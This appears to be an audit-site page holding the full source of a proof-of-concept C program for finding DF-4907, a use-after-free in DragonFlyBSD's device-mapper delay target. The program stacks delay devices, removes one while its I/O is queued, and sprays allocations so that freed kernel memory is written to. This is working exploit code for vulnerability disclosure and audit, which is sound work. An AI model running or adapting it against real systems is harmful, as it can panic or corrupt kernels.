⬢ DragonFlyBSD Kernel Audit
DF-4907 / df4907.c
← back to finding ↓ download raw
/*
 * DF-4907 PoC: dm_target_delay _destroy() async-drain use-after-free.
 *
 * Stack (all delay targets, 1000 ms):
 *   /dev/vn0  <-  d0 (delay)  <-  d1 (delay, REMOVED, never opened)  <-  d2 (delay, user reads)
 *
 * Timeline per iteration:
 *   t0      : N reader threads pread() /dev/mapper/d2 -> nestbuf_x (stats=&dmv2)
 *             queued in d2's delay queue (expire t0+1.0).
 *   t0+1.0  : d2's timer submits nestbuf_x to d1 -> dmstrategy(d1) creates
 *             nestbuf_a with bio_caller_info2 = &dmv1->stats
 *             (device-mapper.c:425 nestiobuf_add) -> queued in d1 (expire t0+2.0).
 *   t0+1.2  : `dmsetup remove d1`  (d1 has never been opened -> is_open==0,
 *             dm_dev_remove_ioctl passes) ->
 *             dm_table_destroy -> dm_target_delay_destroy -> _destroy() ->
 *             _submit_queue(di, 1) (dm_target_delay.c:341) submits every
 *             queued nestbuf_a to /dev/mapper/d0 and RETURNS; teardown then
 *             kfree()s dmv1 (dm_dev_free, dm_dev.c:384) while the nestbuf_a's
 *             now sit in d0's delay queue until t0+2.2.  Spray dm devices so
 *             the freed dm_dev chunk is immediately reallocated.
 *   t0+2.2  : d0 submits nestbuf_a to vn0 -> completes -> nestiobuf_iodone ->
 *             nestiobuf_done(..., stats=&dmv1->stats) -> devstat_end_transaction()
 *             (vfs_bio.c:4505 -> subr_devstat.c:179) WRITES into the freed,
 *             reallocated chunk: last_comp_time, busy_count--, bytes_read += n,
 *             num_reads++.  If the chunk is now a live dm device with an idle
 *             devstat, busy_count goes 0 -> -1 and the kernel prints
 *             "devstat_end_transaction: HELP!! busy_count for <other-dev> is < 0"
 *             => cross-object write-after-free (or panic), ~1 s after free.
 *
 * Build: cc -O -o df4907 df4907.c -lpthread
 * Run:   ./df4907 <iterations> <readers>   (root; vn + dm_target_delay loaded)
 */
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAXR 128

static int fds[MAXR];
static int nreaders = 48;

static void *
reader(void *arg)
{
	long id = (long)arg;
	char buf[4096];
	off_t off;

	while (fds[id] < 0)
		usleep(200);
	off = ((off_t)id * 8192) % (48LL * 1024 * 1024);
	pread(fds[id], buf, sizeof(buf), off);
	return NULL;
}

static void
sh(const char *fmt, ...)
{
	char cmd[512];
	va_list ap;

	va_start(ap, fmt);
	vsnprintf(cmd, sizeof(cmd), fmt, ap);
	va_end(ap);
	if (system(cmd) != 0)
		fprintf(stderr, "cmd failed: %s\n", cmd);
}

int
main(int argc, char **argv)
{
	int iters = 20;
	pthread_t th[MAXR];
	long i;
	int it;

	if (argc > 1) iters = atoi(argv[1]);
	if (argc > 2) nreaders = atoi(argv[2]);
	if (nreaders > MAXR) nreaders = MAXR;

	/* one-time setup: backing file + vn0 + delay stack */
	sh("dd if=/dev/zero of=/tmp/df4907.img bs=1m count=64 2>/dev/null");
	sh("vnconfig -u vn0 2>/dev/null");
	sh("vnconfig -c -v -S 64m vn0 /tmp/df4907.img >/dev/null 2>&1");
	sh("for n in d0 d1 d2 f0 f1 f2 f3 f4 f5 f6 f7; do dmsetup remove $n 2>/dev/null; done");
	sh("dmsetup create d0 --table '0 131072 delay /dev/vn0 0 1000'");
	if (access("/dev/mapper/d0", F_OK) != 0) {
		fprintf(stderr, "setup failed: /dev/mapper/d0 missing\n");
		return 1;
	}

	for (it = 0; it < iters; it++) {
		sh("for n in d2 d1 f0 f1 f2 f3 f4 f5 f6 f7; do dmsetup remove $n 2>/dev/null; done");
		sh("dmsetup create d1 --table '0 131072 delay /dev/mapper/d0 0 1000'");
		sh("dmsetup create d2 --table '0 131072 delay /dev/mapper/d1 0 1000'");
		if (access("/dev/mapper/d2", F_OK) != 0) {
			fprintf(stderr, "iter %d: create d2 failed\n", it);
			return 1;
		}
		for (i = 0; i < nreaders; i++)
			fds[i] = -1;
		for (i = 0; i < nreaders; i++)
			pthread_create(&th[i], NULL, reader, (void *)i);
		for (i = 0; i < nreaders; i++)
			fds[i] = open("/dev/mapper/d2", O_RDONLY);

		/* t0+1.2: bios have been handed d2->d1 (at 1.0) and wait in d1 */
		usleep(1200000);

		/*
		 * Release d1 from being d2's pdev WITHOUT removing d2 (whose
		 * fds the blocked readers hold): suspend/reload/resume destroys
		 * d2's OLD table -> delay _destroy -> dm_pdev_decr(d1) ->
		 * vn_close -> dmclose(d1) -> d1.is_open = 0.
		 */
		sh("dmsetup suspend d2");
		sh("dmsetup reload d2 --table '0 131072 delay /dev/vn0 0 1000'");
		sh("dmsetup resume d2");
		usleep(100000);

		/* free dmv1 while its bios (stats=&dmv1->stats) drain into d0 */
		sh("dmsetup remove d1");
		/* reclaim the freed dm_dev chunk with live dm devices */
		sh("for f in f0 f1 f2 f3 f4 f5 f6 f7; do dmsetup create $f --table '0 131072 delay /dev/vn0 0 1000' 2>/dev/null; done");
		/* wait out d0's delay + vn0 completion of the orphaned bios */
		sleep(3);

		for (i = 0; i < nreaders; i++)
			pthread_join(th[i], NULL);
		for (i = 0; i < nreaders; i++)
			close(fds[i]);
		usleep(100000);
	}
	printf("done %d iterations x %d readers\n", iters, nreaders);
	/* leave fillers for run.sh cleanup */
	return 0;
}